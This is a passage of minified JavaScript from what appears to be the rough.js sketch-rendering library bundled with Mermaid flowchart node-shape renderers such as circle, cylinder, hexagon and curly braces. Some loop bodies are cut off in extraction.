n.ops=n.ops.concat(a.ops),n}},M9=class{static{o(this,"i")}constructor(e){this.helper=e}fillPolygons(e,r){let n=N2(e,r=Object.assign({},r,{hachureAngle:0}));return this.dotsOnLines(n,r)}dotsOnLines(e,r){let n=[],i=r.hachureGap;i<0&&(i=4*r.strokeWidth),i=Math.max(i,.1);let a=r.fillWeight;a<0&&(a=r.strokeWidth/2);let s=i/4;for(let l of e){let u=nw(l),h=u/i,f=Math.ceil(h)-1,d=u-f*i,p=(l[0][0]+l[1][0])/2-i/4,m=Math.min(l[0][1],l[1][1]);for(let g=0;g{let l=nw(s),u=Math.floor(l/(n+i)),h=(l+i-u*(n+i))/2,f=s[0],d=s[1];f[0]>d[0]&&(f=s[1],d=s[0]);let p=Math.atan((d[1]-f[1])/(d[0]-f[0]));for(let m=0;m{let s=nw(a),l=Math.round(s/(2*r)),u=a[0],h=a[1];u[0]>h[0]&&(u=a[1],h=a[0]);let f=Math.atan((h[1]-u[1])/(h[0]-u[0]));for(let d=0;d2*Math.PI&&(A=0,C=2*Math.PI);let R=(C-A)/b.curveStepCount,I=[];for(let L=A;L<=C;L+=R)I.push([T+w*Math.cos(L),S+k*Math.sin(L)]);return I.push([T+w*Math.cos(C),S+k*Math.sin(C)]),I.push([T,S]),km([I],b)})(e,r,n,i,a,s,h));return h.stroke!==co&&f.push(d),this._d("arc",f,h)}curve(e,r){let n=this._o(r),i=[],a=nJ(e,n);if(n.fill&&n.fill!==co)if(n.fillStyle==="solid"){let s=nJ(e,Object.assign(Object.assign({},n),{disableMultiStroke:!0,roughness:n.roughness?n.roughness+n.fillShapeRoughnessGain:0}));i.push({type:"fillPath",ops:this._mergedShape(s.ops)})}else{let s=[],l=e;if(l.length){let u=typeof l[0][0]=="number"?[l]:l;for(let h of u)h.length<3?s.push(...h):h.length===3?s.push(...L9(cJ([h[0],h[0],h[1],h[2]]),10,(1+n.roughness)/2)):s.push(...L9(cJ(h),10,(1+n.roughness)/2))}s.length&&i.push(km([s],n))}return n.stroke!==co&&i.push(a),this._d("curve",i,n)}polygon(e,r){let n=this._o(r),i=[],a=ZT(e,!0,n);return n.fill&&(n.fillStyle==="solid"?i.push(D9([e],n)):i.push(km([e],n))),n.stroke!==co&&i.push(a),this._d("polygon",i,n)}path(e,r){let n=this._o(r),i=[];if(!e)return this._d("path",i,n);e=(e||"").replace(/\n/g," ").replace(/(-\s)/g,"-").replace("/(ss)/g"," ");let a=n.fill&&n.fill!=="transparent"&&n.fill!==co,s=n.stroke!==co,l=!!(n.simplification&&n.simplification<1),u=(function(f,d,p){let m=hJ(uJ(V9(f))),g=[],y=[],v=[0,0],x=[],b=o(()=>{x.length>=4&&y.push(...L9(x,d)),x=[]},"i"),T=o(()=>{b(),y.length&&(g.push(y),y=[])},"c");for(let{key:w,data:k}of m)switch(w){case"M":T(),v=[k[0],k[1]],y.push(v);break;case"L":b(),y.push([k[0],k[1]]);break;case"C":if(!x.length){let A=y.length?y[y.length-1]:v;x.push([A[0],A[1]])}x.push([k[0],k[1]]),x.push([k[2],k[3]]),x.push([k[4],k[5]]);break;case"Z":b(),y.push([v[0],v[1]])}if(T(),!p)return g;let S=[];for(let w of g){let k=lRe(w,p);k.length&&S.push(k)}return S})(e,1,l?4-4*(n.simplification||1):(1+n.roughness)/2),h=aJ(e,n);if(a)if(n.fillStyle==="solid")if(u.length===1){let f=aJ(e,Object.assign(Object.assign({},n),{disableMultiStroke:!0,roughness:n.roughness?n.roughness+n.fillShapeRoughnessGain:0}));i.push({type:"fillPath",ops:this._mergedShape(f.ops)})}else i.push(D9(u,n));else i.push(km(u,n));return s&&(l?u.forEach((f=>{i.push(ZT(f,!1,n))})):i.push(h)),this._d("path",i,n)}opsToPath(e,r){let n="";for(let i of e.ops){let a=typeof r=="number"&&r>=0?i.data.map((s=>+s.toFixed(r))):i.data;switch(i.op){case"move":n+=`M${a[0]} ${a[1]} `;break;case"bcurveTo":n+=`C${a[0]} ${a[1]}, ${a[2]} ${a[3]}, ${a[4]} ${a[5]} `;break;case"lineTo":n+=`L${a[0]} ${a[1]} `}}return n.trim()}toPaths(e){let r=e.sets||[],n=e.options||this.defaultOptions,i=[];for(let a of r){let s=null;switch(a.type){case"path":s={d:this.opsToPath(a),stroke:n.stroke,strokeWidth:n.strokeWidth,fill:co};break;case"fillPath":s={d:this.opsToPath(a),stroke:co,strokeWidth:0,fill:n.fill||co};break;case"fillSketch":s=this.fillSketch(a,n)}s&&i.push(s)}return i}fillSketch(e,r){let n=r.fillWeight;return n<0&&(n=r.strokeWidth/2),{d:this.opsToPath(e),stroke:r.fill||co,strokeWidth:n,fill:co}}_mergedShape(e){return e.filter(((r,n)=>n===0||r.op!=="move"))}},z9=class{static{o(this,"st")}constructor(e,r){this.canvas=e,this.ctx=this.canvas.getContext("2d"),this.gen=new Em(r)}draw(e){let r=e.sets||[],n=e.options||this.getDefaultOptions(),i=this.ctx,a=e.options.fixedDecimalPlaceDigits;for(let s of r)switch(s.type){case"path":i.save(),i.strokeStyle=n.stroke==="none"?"transparent":n.stroke,i.lineWidth=n.strokeWidth,n.strokeLineDash&&i.setLineDash(n.strokeLineDash),n.strokeLineDashOffset&&(i.lineDashOffset=n.strokeLineDashOffset),this._drawToContext(i,s,a),i.restore();break;case"fillPath":{i.save(),i.fillStyle=n.fill||"";let l=e.shape==="curve"||e.shape==="polygon"||e.shape==="path"?"evenodd":"nonzero";this._drawToContext(i,s,a,l),i.restore();break}case"fillSketch":this.fillSketch(i,s,n)}}fillSketch(e,r,n){let i=n.fillWeight;i<0&&(i=n.strokeWidth/2),e.save(),n.fillLineDash&&e.setLineDash(n.fillLineDash),n.fillLineDashOffset&&(e.lineDashOffset=n.fillLineDashOffset),e.strokeStyle=n.fill||"",e.lineWidth=i,this._drawToContext(e,r,n.fixedDecimalPlaceDigits),e.restore()}_drawToContext(e,r,n,i="nonzero"){e.beginPath();for(let a of r.ops){let s=typeof n=="number"&&n>=0?a.data.map((l=>+l.toFixed(n))):a.data;switch(a.op){case"move":e.moveTo(s[0],s[1]);break;case"bcurveTo":e.bezierCurveTo(s[0],s[1],s[2],s[3],s[4],s[5]);break;case"lineTo":e.lineTo(s[0],s[1])}}r.type==="fillPath"?e.fill(i):e.stroke()}get generator(){return this.gen}getDefaultOptions(){return this.gen.defaultOptions}line(e,r,n,i,a){let s=this.gen.line(e,r,n,i,a);return this.draw(s),s}rectangle(e,r,n,i,a){let s=this.gen.rectangle(e,r,n,i,a);return this.draw(s),s}ellipse(e,r,n,i,a){let s=this.gen.ellipse(e,r,n,i,a);return this.draw(s),s}circle(e,r,n,i){let a=this.gen.circle(e,r,n,i);return this.draw(a),a}linearPath(e,r){let n=this.gen.linearPath(e,r);return this.draw(n),n}polygon(e,r){let n=this.gen.polygon(e,r);return this.draw(n),n}arc(e,r,n,i,a,s,l=!1,u){let h=this.gen.arc(e,r,n,i,a,s,l,u);return this.draw(h),h}curve(e,r){let n=this.gen.curve(e,r);return this.draw(n),n}path(e,r){let n=this.gen.path(e,r);return this.draw(n),n}},QT="http://www.w3.org/2000/svg",G9=class{static{o(this,"ot")}constructor(e,r){this.svg=e,this.gen=new Em(r)}draw(e){let r=e.sets||[],n=e.options||this.getDefaultOptions(),i=this.svg.ownerDocument||window.document,a=i.createElementNS(QT,"g"),s=e.options.fixedDecimalPlaceDigits;for(let l of r){let u=null;switch(l.type){case"path":u=i.createElementNS(QT,"path"),u.setAttribute("d",this.opsToPath(l,s)),u.setAttribute("stroke",n.stroke),u.setAttribute("stroke-width",n.strokeWidth+""),u.setAttribute("fill","none"),n.strokeLineDash&&u.setAttribute("stroke-dasharray",n.strokeLineDash.join(" ").trim()),n.strokeLineDashOffset&&u.setAttribute("stroke-dashoffset",`${n.strokeLineDashOffset}`);break;case"fillPath":u=i.createElementNS(QT,"path"),u.setAttribute("d",this.opsToPath(l,s)),u.setAttribute("stroke","none"),u.setAttribute("stroke-width","0"),u.setAttribute("fill",n.fill||""),e.shape!=="curve"&&e.shape!=="polygon"||u.setAttribute("fill-rule","evenodd");break;case"fillSketch":u=this.fillSketch(i,l,n)}u&&a.appendChild(u)}return a}fillSketch(e,r,n){let i=n.fillWeight;i<0&&(i=n.strokeWidth/2);let a=e.createElementNS(QT,"path");return a.setAttribute("d",this.opsToPath(r,n.fixedDecimalPlaceDigits)),a.setAttribute("stroke",n.fill||""),a.setAttribute("stroke-width",i+""),a.setAttribute("fill","none"),n.fillLineDash&&a.setAttribute("stroke-dasharray",n.fillLineDash.join(" ").trim()),n.fillLineDashOffset&&a.setAttribute("stroke-dashoffset",`${n.fillLineDashOffset}`),a}get generator(){return this.gen}getDefaultOptions(){return this.gen.defaultOptions}opsToPath(e,r){return this.gen.opsToPath(e,r)}line(e,r,n,i,a){let s=this.gen.line(e,r,n,i,a);return this.draw(s)}rectangle(e,r,n,i,a){let s=this.gen.rectangle(e,r,n,i,a);return this.draw(s)}ellipse(e,r,n,i,a){let s=this.gen.ellipse(e,r,n,i,a);return this.draw(s)}circle(e,r,n,i){let a=this.gen.circle(e,r,n,i);return this.draw(a)}linearPath(e,r){let n=this.gen.linearPath(e,r);return this.draw(n)}polygon(e,r){let n=this.gen.polygon(e,r);return this.draw(n)}arc(e,r,n,i,a,s,l=!1,u){let h=this.gen.arc(e,r,n,i,a,s,l,u);return this.draw(h)}curve(e,r){let n=this.gen.curve(e,r);return this.draw(n)}path(e,r){let n=this.gen.path(e,r);return this.draw(n)}},Ze={canvas:o((t,e)=>new z9(t,e),"canvas"),svg:o((t,e)=>new G9(t,e),"svg"),generator:o(t=>new Em(t),"generator"),newSeed:o(()=>Em.newSeed(),"newSeed")}});function gJ(t,e){let{labelStyles:r}=je(e);e.labelStyle=r;let n=st(e),i=n;n||(i="anchor");let a=t.insert("g").attr("class",i).attr("id",e.domId||e.id),s=1,{cssStyles:l}=e,u=Ze.svg(a),h=Je(e,{fill:"black",stroke:"none",fillStyle:"solid"});e.look!=="handDrawn"&&(h.roughness=0);let f=u.circle(0,0,s*2,h),d=a.insert(()=>f,":first-child");return d.attr("class","anchor").attr("style",Cn(l)),Qe(e,d),e.intersect=function(p){return X.info("Circle intersect",e,s,p),Xe.circle(e,s,p)},a}var yJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();tr();o(gJ,"anchor")});function vJ(t,e,r,n,i,a,s){let u=(t+r)/2,h=(e+n)/2,f=Math.atan2(n-e,r-t),d=(r-t)/2,p=(n-e)/2,m=d/i,g=p/a,y=Math.sqrt(m**2+g**2);if(y>1)throw new Error("The given radii are too small to create an arc between the points.");let v=Math.sqrt(1-y**2),x=u+v*a*Math.sin(f)*(s?-1:1),b=h-v*i*Math.cos(f)*(s?-1:1),T=Math.atan2((e-b)/a,(t-x)/i),w=Math.atan2((n-b)/a,(r-x)/i)-T;s&&w<0&&(w+=2*Math.PI),!s&&w>0&&(w-=2*Math.PI);let k=[];for(let A=0;A<20;A++){let C=A/19,R=T+C*w,I=x+i*Math.cos(R),L=b+a*Math.sin(R);k.push({x:I,y:L})}return k}async function xJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.width+e.padding+20,l=a.height+e.padding,u=l/2,h=u/(2.5+l/50),{cssStyles:f}=e,d=[{x:s/2,y:-l/2},{x:-s/2,y:-l/2},...vJ(-s/2,-l/2,-s/2,l/2,h,u,!1),{x:s/2,y:l/2},...vJ(s/2,l/2,s/2,-l/2,h,u,!0)],p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=Vt(d),y=p.path(g,m),v=i.insert(()=>y,":first-child");return v.attr("class","basic label-container"),f&&e.look!=="handDrawn"&&v.selectAll("path").attr("style",f),n&&e.look!=="handDrawn"&&v.selectAll("path").attr("style",n),v.attr("transform",`translate(${h/2}, 0)`),Qe(e,v),e.intersect=function(x){return Xe.polygon(e,d,x)},i}var bJ=N(()=>{"use strict";It();Ut();$t();Ht();o(vJ,"generateArcPoints");o(xJ,"bowTieRect")});function Bs(t,e,r,n){return t.insert("polygon",":first-child").attr("points",n.map(function(i){return i.x+","+i.y}).join(" ")).attr("class","label-container").attr("transform","translate("+-e/2+","+r/2+")")}var Jh=N(()=>{"use strict";o(Bs,"insertPolygonShape")});async function TJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.height+e.padding,l=12,u=a.width+e.padding+l,h=0,f=u,d=-s,p=0,m=[{x:h+l,y:d},{x:f,y:d},{x:f,y:p},{x:h,y:p},{x:h,y:d+l},{x:h+l,y:d}],g,{cssStyles:y}=e;if(e.look==="handDrawn"){let v=Ze.svg(i),x=Je(e,{}),b=Vt(m),T=v.path(b,x);g=i.insert(()=>T,":first-child").attr("transform",`translate(${-u/2}, ${s/2})`),y&&g.attr("style",y)}else g=Bs(i,u,s,m);return n&&g.attr("style",n),Qe(e,g),e.intersect=function(v){return Xe.polygon(e,m,v)},i}var wJ=N(()=>{"use strict";It();Ut();$t();Ht();Jh();It();o(TJ,"card")});function kJ(t,e){let{nodeStyles:r}=je(e);e.label="";let n=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),{cssStyles:i}=e,a=Math.max(28,e.width??0),s=[{x:0,y:a/2},{x:a/2,y:0},{x:0,y:-a/2},{x:-a/2,y:0}],l=Ze.svg(n),u=Je(e,{});e.look!=="handDrawn"&&(u.roughness=0,u.fillStyle="solid");let h=Vt(s),f=l.path(h,u),d=n.insert(()=>f,":first-child");return i&&e.look!=="handDrawn"&&d.selectAll("path").attr("style",i),r&&e.look!=="handDrawn"&&d.selectAll("path").attr("style",r),e.width=28,e.height=28,e.intersect=function(p){return Xe.polygon(e,s,p)},n}var EJ=N(()=>{"use strict";Ut();Ht();$t();It();o(kJ,"choice")});async function iw(t,e,r){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n;let{shapeSvg:a,bbox:s,halfPadding:l}=await ut(t,e,st(e)),u=r?.padding??l,h=s.width/2+u,f,{cssStyles:d}=e;if(e.look==="handDrawn"){let p=Ze.svg(a),m=Je(e,{}),g=p.circle(0,0,h*2,m);f=a.insert(()=>g,":first-child"),f.attr("class","basic label-container").attr("style",Cn(d))}else f=a.insert("circle",":first-child").attr("class","basic label-container").attr("style",i).attr("r",h).attr("cx",0).attr("cy",0);return Qe(e,f),e.calcIntersect=function(p,m){let g=p.width/2;return Xe.circle(p,g,m)},e.intersect=function(p){return X.info("Circle intersect",e,h,p),Xe.circle(e,h,p)},a}var U9=N(()=>{"use strict";Ht();pt();tr();Ut();$t();It();o(iw,"circle")});function cRe(t){let e=Math.cos(Math.PI/4),r=Math.sin(Math.PI/4),n=t*2,i={x:n/2*e,y:n/2*r},a={x:-(n/2)*e,y:n/2*r},s={x:-(n/2)*e,y:-(n/2)*r},l={x:n/2*e,y:-(n/2)*r};return`M ${a.x},${a.y} L ${l.x},${l.y} + M ${i.x},${i.y} L ${s.x},${s.y}`}function SJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r,e.label="";let i=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),a=Math.max(30,e?.width??0),{cssStyles:s}=e,l=Ze.svg(i),u=Je(e,{});e.look!=="handDrawn"&&(u.roughness=0,u.fillStyle="solid");let h=l.circle(0,0,a*2,u),f=cRe(a),d=l.path(f,u),p=i.insert(()=>h,":first-child");return p.insert(()=>d),s&&e.look!=="handDrawn"&&p.selectAll("path").attr("style",s),n&&e.look!=="handDrawn"&&p.selectAll("path").attr("style",n),Qe(e,p),e.intersect=function(m){return X.info("crossedCircle intersect",e,{radius:a,point:m}),Xe.circle(e,a,m)},i}var CJ=N(()=>{"use strict";pt();It();$t();Ht();Ut();o(cRe,"createLine");o(SJ,"crossedCircle")});function ef(t,e,r,n=100,i=0,a=180){let s=[],l=i*Math.PI/180,f=(a*Math.PI/180-l)/(n-1);for(let d=0;dT,":first-child").attr("stroke-opacity",0),S.insert(()=>x,":first-child"),S.attr("class","text"),f&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",f),n&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",n),S.attr("transform",`translate(${h}, 0)`),s.attr("transform",`translate(${-l/2+h-(a.x-(a.left??0))},${-u/2+(e.padding??0)/2-(a.y-(a.top??0))})`),Qe(e,S),e.intersect=function(w){return Xe.polygon(e,p,w)},i}var _J=N(()=>{"use strict";It();Ut();$t();Ht();o(ef,"generateCirclePoints");o(AJ,"curlyBraceLeft")});function tf(t,e,r,n=100,i=0,a=180){let s=[],l=i*Math.PI/180,f=(a*Math.PI/180-l)/(n-1);for(let d=0;dT,":first-child").attr("stroke-opacity",0),S.insert(()=>x,":first-child"),S.attr("class","text"),f&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",f),n&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",n),S.attr("transform",`translate(${-h}, 0)`),s.attr("transform",`translate(${-l/2+(e.padding??0)/2-(a.x-(a.left??0))},${-u/2+(e.padding??0)/2-(a.y-(a.top??0))})`),Qe(e,S),e.intersect=function(w){return Xe.polygon(e,p,w)},i}var LJ=N(()=>{"use strict";It();Ut();$t();Ht();o(tf,"generateCirclePoints");o(DJ,"curlyBraceRight")});function Oa(t,e,r,n=100,i=0,a=180){let s=[],l=i*Math.PI/180,f=(a*Math.PI/180-l)/(n-1);for(let d=0;dA,":first-child").attr("stroke-opacity",0),C.insert(()=>b,":first-child"),C.insert(()=>w,":first-child"),C.attr("class","text"),f&&e.look!=="handDrawn"&&C.selectAll("path").attr("style",f),n&&e.look!=="handDrawn"&&C.selectAll("path").attr("style",n),C.attr("transform",`translate(${h-h/4}, 0)`),s.attr("transform",`translate(${-l/2+(e.padding??0)/2-(a.x-(a.left??0))},${-u/2+(e.padding??0)/2-(a.y-(a.top??0))})`),Qe(e,C),e.intersect=function(R){return Xe.polygon(e,m,R)},i}var NJ=N(()=>{"use strict";It();Ut();$t();Ht();o(Oa,"generateCirclePoints");o(RJ,"curlyBraces")});async function MJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=80,l=20,u=Math.max(s,(a.width+(e.padding??0)*2)*1.25,e?.width??0),h=Math.max(l,a.height+(e.padding??0)*2,e?.height??0),f=h/2,{cssStyles:d}=e,p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=u,y=h,v=g-f,x=y/4,b=[{x:v,y:0},{x,y:0},{x:0,y:y/2},{x,y},{x:v,y},...Kd(-v,-y/2,f,50,270,90)],T=Vt(b),S=p.path(T,m),w=i.insert(()=>S,":first-child");return w.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&w.selectChildren("path").attr("style",d),n&&e.look!=="handDrawn"&&w.selectChildren("path").attr("style",n),w.attr("transform",`translate(${-u/2}, ${-h/2})`),Qe(e,w),e.intersect=function(k){return Xe.polygon(e,b,k)},i}var IJ=N(()=>{"use strict";It();Ut();$t();Ht();o(MJ,"curvedTrapezoid")});async function OJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+e.padding,e.width??0),u=l/2,h=u/(2.5+l/50),f=Math.max(a.height+h+e.padding,e.height??0),d,{cssStyles:p}=e;if(e.look==="handDrawn"){let m=Ze.svg(i),g=hRe(0,0,l,f,u,h),y=fRe(0,h,l,f,u,h),v=m.path(g,Je(e,{})),x=m.path(y,Je(e,{fill:"none"}));d=i.insert(()=>x,":first-child"),d=i.insert(()=>v,":first-child"),d.attr("class","basic label-container"),p&&d.attr("style",p)}else{let m=uRe(0,0,l,f,u,h);d=i.insert("path",":first-child").attr("d",m).attr("class","basic label-container").attr("style",Cn(p)).attr("style",n)}return d.attr("label-offset-y",h),d.attr("transform",`translate(${-l/2}, ${-(f/2+h)})`),Qe(e,d),s.attr("transform",`translate(${-(a.width/2)-(a.x-(a.left??0))}, ${-(a.height/2)+(e.padding??0)/1.5-(a.y-(a.top??0))})`),e.intersect=function(m){let g=Xe.rect(e,m),y=g.x-(e.x??0);if(u!=0&&(Math.abs(y)<(e.width??0)/2||Math.abs(y)==(e.width??0)/2&&Math.abs(g.y-(e.y??0))>(e.height??0)/2-h)){let v=h*h*(1-y*y/(u*u));v>0&&(v=Math.sqrt(v)),v=h-v,m.y-(e.y??0)>0&&(v=-v),g.y+=v}return g},i}var uRe,hRe,fRe,PJ=N(()=>{"use strict";It();Ut();$t();Ht();tr();uRe=o((t,e,r,n,i,a)=>[`M${t},${e+a}`,`a${i},${a} 0,0,0 ${r},0`,`a${i},${a} 0,0,0 ${-r},0`,`l0,${n}`,`a${i},${a} 0,0,0 ${r},0`,`l0,${-n}`].join(" "),"createCylinderPathD"),hRe=o((t,e,r,n,i,a)=>[`M${t},${e+a}`,`M${t+r},${e+a}`,`a${i},${a} 0,0,0 ${-r},0`,`l0,${n}`,`a${i},${a} 0,0,0 ${r},0`,`l0,${-n}`].join(" "),"createOuterCylinderPathD"),fRe=o((t,e,r,n,i,a)=>[`M${t-r/2},${-n/2}`,`a${i},${a} 0,0,0 ${r},0`].join(" "),"createInnerCylinderPathD");o(OJ,"cylinder")});async function BJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=a.width+e.padding,u=a.height+e.padding,h=u*.2,f=-l/2,d=-u/2-h/2,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{});e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=[{x:f,y:d+h},{x:-f,y:d+h},{x:-f,y:-d},{x:f,y:-d},{x:f,y:d},{x:-f,y:d},{x:-f,y:d+h}],v=m.polygon(y.map(b=>[b.x,b.y]),g),x=i.insert(()=>v,":first-child");return x.attr("class","basic label-container"),p&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",p),n&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",n),s.attr("transform",`translate(${f+(e.padding??0)/2-(a.x-(a.left??0))}, ${d+h+(e.padding??0)/2-(a.y-(a.top??0))})`),Qe(e,x),e.intersect=function(b){return Xe.rect(e,b)},i}var FJ=N(()=>{"use strict";It();Ut();$t();Ht();o(BJ,"dividedRectangle")});async function $J(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,halfPadding:s}=await ut(t,e,st(e)),u=a.width/2+s+5,h=a.width/2+s,f,{cssStyles:d}=e;if(e.look==="handDrawn"){let p=Ze.svg(i),m=Je(e,{roughness:.2,strokeWidth:2.5}),g=Je(e,{roughness:.2,strokeWidth:1.5}),y=p.circle(0,0,u*2,m),v=p.circle(0,0,h*2,g);f=i.insert("g",":first-child"),f.attr("class",Cn(e.cssClasses)).attr("style",Cn(d)),f.node()?.appendChild(y),f.node()?.appendChild(v)}else{f=i.insert("g",":first-child");let p=f.insert("circle",":first-child"),m=f.insert("circle");f.attr("class","basic label-container").attr("style",n),p.attr("class","outer-circle").attr("style",n).attr("r",u).attr("cx",0).attr("cy",0),m.attr("class","inner-circle").attr("style",n).attr("r",h).attr("cx",0).attr("cy",0)}return Qe(e,f),e.intersect=function(p){return X.info("DoubleCircle intersect",e,u,p),Xe.circle(e,u,p)},i}var zJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();tr();o($J,"doublecircle")});function GJ(t,e,{config:{themeVariables:r}}){let{labelStyles:n,nodeStyles:i}=je(e);e.label="",e.labelStyle=n;let a=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),s=7,{cssStyles:l}=e,u=Ze.svg(a),{nodeBorder:h}=r,f=Je(e,{fillStyle:"solid"});e.look!=="handDrawn"&&(f.roughness=0);let d=u.circle(0,0,s*2,f),p=a.insert(()=>d,":first-child");return p.selectAll("path").attr("style",`fill: ${h} !important;`),l&&l.length>0&&e.look!=="handDrawn"&&p.selectAll("path").attr("style",l),i&&e.look!=="handDrawn"&&p.selectAll("path").attr("style",i),Qe(e,p),e.intersect=function(m){return X.info("filledCircle intersect",e,{radius:s,point:m}),Xe.circle(e,s,m)},a}var VJ=N(()=>{"use strict";Ht();pt();Ut();$t();It();o(GJ,"filledCircle")});async function UJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=a.width+(e.padding??0),u=l+a.height,h=l+a.height,f=[{x:0,y:-u},{x:h,y:-u},{x:h/2,y:0}],{cssStyles:d}=e,p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=Vt(f),y=p.path(g,m),v=i.insert(()=>y,":first-child").attr("transform",`translate(${-u/2}, ${u/2})`);return d&&e.look!=="handDrawn"&&v.selectChildren("path").attr("style",d),n&&e.look!=="handDrawn"&&v.selectChildren("path").attr("style",n),e.width=l,e.height=u,Qe(e,v),s.attr("transform",`translate(${-a.width/2-(a.x-(a.left??0))}, ${-u/2+(e.padding??0)/2+(a.y-(a.top??0))})`),e.intersect=function(x){return X.info("Triangle intersect",e,f,x),Xe.polygon(e,f,x)},i}var HJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();It();o(UJ,"flippedTriangle")});function qJ(t,e,{dir:r,config:{state:n,themeVariables:i}}){let{nodeStyles:a}=je(e);e.label="";let s=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),{cssStyles:l}=e,u=Math.max(70,e?.width??0),h=Math.max(10,e?.height??0);r==="LR"&&(u=Math.max(10,e?.width??0),h=Math.max(70,e?.height??0));let f=-1*u/2,d=-1*h/2,p=Ze.svg(s),m=Je(e,{stroke:i.lineColor,fill:i.lineColor});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=p.rectangle(f,d,u,h,m),y=s.insert(()=>g,":first-child");l&&e.look!=="handDrawn"&&y.selectAll("path").attr("style",l),a&&e.look!=="handDrawn"&&y.selectAll("path").attr("style",a),Qe(e,y);let v=n?.padding??0;return e.width&&e.height&&(e.width+=v/2||0,e.height+=v/2||0),e.intersect=function(x){return Xe.rect(e,x)},s}var WJ=N(()=>{"use strict";Ht();Ut();$t();It();o(qJ,"forkJoin")});async function YJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let i=80,a=50,{shapeSvg:s,bbox:l}=await ut(t,e,st(e)),u=Math.max(i,l.width+(e.padding??0)*2,e?.width??0),h=Math.max(a,l.height+(e.padding??0)*2,e?.height??0),f=h/2,{cssStyles:d}=e,p=Ze.svg(s),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=[{x:-u/2,y:-h/2},{x:u/2-f,y:-h/2},...Kd(-u/2+f,0,f,50,90,270),{x:u/2-f,y:h/2},{x:-u/2,y:h/2}],y=Vt(g),v=p.path(y,m),x=s.insert(()=>v,":first-child");return x.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",d),n&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",n),Qe(e,x),e.intersect=function(b){return X.info("Pill intersect",e,{radius:f,point:b}),Xe.polygon(e,g,b)},s}var XJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();o(YJ,"halfRoundedRectangle")});async function jJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.height+(e.padding??0),l=a.width+(e.padding??0)*2.5,{cssStyles:u}=e,h=Ze.svg(i),f=Je(e,{});e.look!=="handDrawn"&&(f.roughness=0,f.fillStyle="solid");let d=l/2,p=d/6;d=d+p;let m=s/2,g=m/2,y=d-g,v=[{x:-y,y:-m},{x:0,y:-m},{x:y,y:-m},{x:d,y:0},{x:y,y:m},{x:0,y:m},{x:-y,y:m},{x:-d,y:0}],x=Vt(v),b=h.path(x,f),T=i.insert(()=>b,":first-child");return T.attr("class","basic label-container"),u&&e.look!=="handDrawn"&&T.selectChildren("path").attr("style",u),n&&e.look!=="handDrawn"&&T.selectChildren("path").attr("style",n),e.width=l,e.height=s,Qe(e,T),e.intersect=function(S){return Xe.polygon(e,v,S)},i}var KJ=N(()=>{"use strict";It();Ut();$t();Ht();o(jJ,"hexagon")});async function QJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.label="",e.labelStyle=r;let{shapeSvg:i}=await ut(t,e,st(e)),a=Math.max(30,e?.width??0),s=Math.max(30,e?.height??0),{cssStyles:l}=e,u=Ze.svg(i),h=Je(e,{});e.look!=="handDrawn"&&(h.roughness=0,h.fillStyle="solid");let f=[{x:0,y:0},{x:a,y:0},{x:0,y:s},{x:a,y:s}],d=Vt(f),p=u.path(d,h),m=i.insert(()=>p,":first-child");return m.attr("class","basic label-container"),l&&e.look!=="handDrawn"&&m.selectChildren("path").attr("style",l),n&&e.look!=="handDrawn"&&m.selectChildren("path").attr("style",n),m.attr("transform",`translate(${-a/2}, ${-s/2})`),Qe(e,m),e.intersect=function(g){return X.info("Pill intersect",e,{points:f}),Xe.polygon(e,f,g)},i}var ZJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();o(QJ,"hourglass")});async function JJ(t,e,{config:{themeVariables:r,flowchart:n}}){let{labelStyles:i}=je(e);e.labelStyle=i;let a=e.assetHeight??48,s=e.assetWidth??48,l=Math.max(a,s),u=n?.wrappingWidth;e.width=Math.max(l,u??0);let{shapeSvg:h,bbox:f,label:d}=await 